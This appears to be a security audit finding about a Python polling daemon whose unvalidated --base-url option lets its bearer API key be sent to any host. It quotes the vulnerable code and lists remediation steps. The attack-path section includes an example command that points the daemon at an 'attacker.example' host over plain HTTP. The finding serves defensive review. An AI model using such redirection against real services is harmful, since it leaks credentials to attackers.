T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/poll_daemon.py:43
- Finding
- Bearer API Key Can Be Exfiltrated Through an Unrestricted Base URL## Vulnerability Details **File Location**: `scripts/poll_daemon.py:43, 80-91` **Vulnerability Type**: Credential disclosure through an attacker-controlled API endpoint **Risk Level**: High **Vulnerable Code**: ```python parser.add_argument("--base-url", default="https://api.thrd.email") ... base_url = args.base_url.rstrip("/") cursor_path = Path(args.cursor_file) cursor = load_cursor(cursor_path) headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json", } print(f"Thrd poll daemon started (cursor={cursor}, file={cursor_path}).", file=sys.stderr) while True: try: resp = requests.get( f"{base_url}/v1/events", headers=headers, params={"cursor": cursor, "timeout": args.timeout_ms, "limit": args.limit}, timeout=(args.timeout_ms / 1000.0) + 10, ) ``` ### Technical Analysis The `--base-url` argument accepts an arbitrary URL without validating its scheme or hostname. The polling daemon reads the sensitive `THRD_API_KEY` environment variable and includes it as a bearer credential in requests sent to the supplied URL. Consequently, anyone who can influence the daemon's command-line arguments can redirect the authenticated request to an attacker-controlled endpoint. The option also accepts plaintext HTTP URLs, allowing the credential to be exposed through network interception. A configurable API endpoint is not required by the documented production workflow, which identifies `https://api.thrd.email` as the service endpoint. Sending a production credential to an unrestricted destination exceeds the minimum privilege and trust boundaries necessary for mailbox polling. ### Attack Path 1. An attacker influences an operator, automation configuration, or agent-generated command to invoke: ```bash python3 scripts/poll_daemon.py --base-url http://attacker.example ``` 2. The script reads `THRD_ ...[truncated 857 chars]
- Remediation
- ## Remediation Suggestions 1. Remove `--base-url` from production builds and use the fixed endpoint `https://api.thrd.email`. 2. If endpoint configurability is necessary for testing, parse the URL and require: - The `https` scheme. - An exact allowlisted hostname. - No embedded username or password. - An expected or empty port. 3. Require a separate explicit development-only flag and development credential for non-production endpoints. 4. Refuse to send production bearer credentials to localhost, private networks, redirects to different origins, or unapproved hosts. 5. Disable cross-origin redirects for authenticated requests or validate every redirect target before forwarding the authorization header. 6. Add automated tests confirming that HTTP URLs and non-allowlisted hosts are rejected before any request is sent.